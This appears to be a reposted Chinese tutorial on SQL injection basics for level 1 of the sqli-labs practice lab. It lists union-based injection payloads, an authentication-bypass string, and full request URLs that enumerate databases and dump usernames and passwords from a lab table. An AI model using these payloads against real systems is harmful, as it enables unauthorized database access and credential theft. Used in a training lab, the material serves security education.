SQL注入之核心语法讲解
SQL实验室第一关
前言
一、搭建sqli-labs实验环境
下载sqli-labs到phpstudy的www目录下
打开localhost/sqli-labs运行即可
二、SQL注入核心语法
1.构造万能密码和简单构造注入
(1)注入语句
‘~’ 相当于16进制的0x7e
万能密码 'or ‘1’ ='1
’ and ‘1’=‘1
’ and 1=2 union select 1,user(),3- -+ 前面加’是为了闭合后面的’
(2)group_concat(string)
2.核心语法获取数据库信息
(1)SQL手工注入方法
select schema_name from information_schema.schemata(查库)
select table_name from information_schema.tables where table_schema=库名(查表)
select column_name from information_schema.colums where table_name=表名(查列)
select 列名 from 库名.表名(查数据)
例子:
查看数据库
http://192.168.222.4/sqli-labs/Less-1/?id=’ union select 1,2,(select group_concat(schema_name) from information_schema.schemata)- -+
查看表
http://192.168.222.4/sqli-labs/Less-1/?id=’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)- -+
查看表中的数据
http://192.168.222.4/sqli-labs/Less-1/?id=’ union select 1,2,(select group_concat(username,0x7e,password) from security.users)- -+
这里总结一些SQL注入查看信息
http://192.168.222.4/sqli-labs/Less-1/?id=1’ and 1=2 union select 1,user(),3- -+
手工注入获取数据库信息内容
http://192.168.222.4/sqli-labs/Less-1/?id=2’ order by 3- -+ 查看可用字段的长度
http://192.168.222.4/sqli-labs/Less-1/?id=’ union select 1,2,3- -+
http://192.168.222.4/sqli-labs/Less-1/?id=’ union select 1,2,(select group_concat(schema_name) from information_schema.schemata)- -+ 查看数据库
http://192.168.222.4/sqli-labs/Less-1/?id=’ union select 1,2,(select concat_ws(‘~’,username,password)from security.users limit 0,1)- -+ 只会返回一个数据(查看表的数据)
http://192.168.222.4/sqli-labs/Less-1/?id=’ union select 1,2,(select concat_ws(0x7e,username,password)from security.users limit 0,1)
http://192.168.222.4/sqli-labs/Less-1/?id=’ union select 1,2,(select group_concat(username,0x7e,password)from security.users)- -+ 会返回所有数据
http://192.168.222.4/sqli-labs/Less-1/?id=’ union select 1,2,(select database())- -+ 查看数据库文章来源:https://www.toymoban.com/news/detail-498816.html
总结
本次实验简单介绍SQL注入的一些简单的核心语法查询和注入,之后会介绍SQL注入的相关注入方法。文章来源地址https://www.toymoban.com/news/detail-498816.html
到了这里,关于渗透测试-SQL注入之核心语法获取数据库信息的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!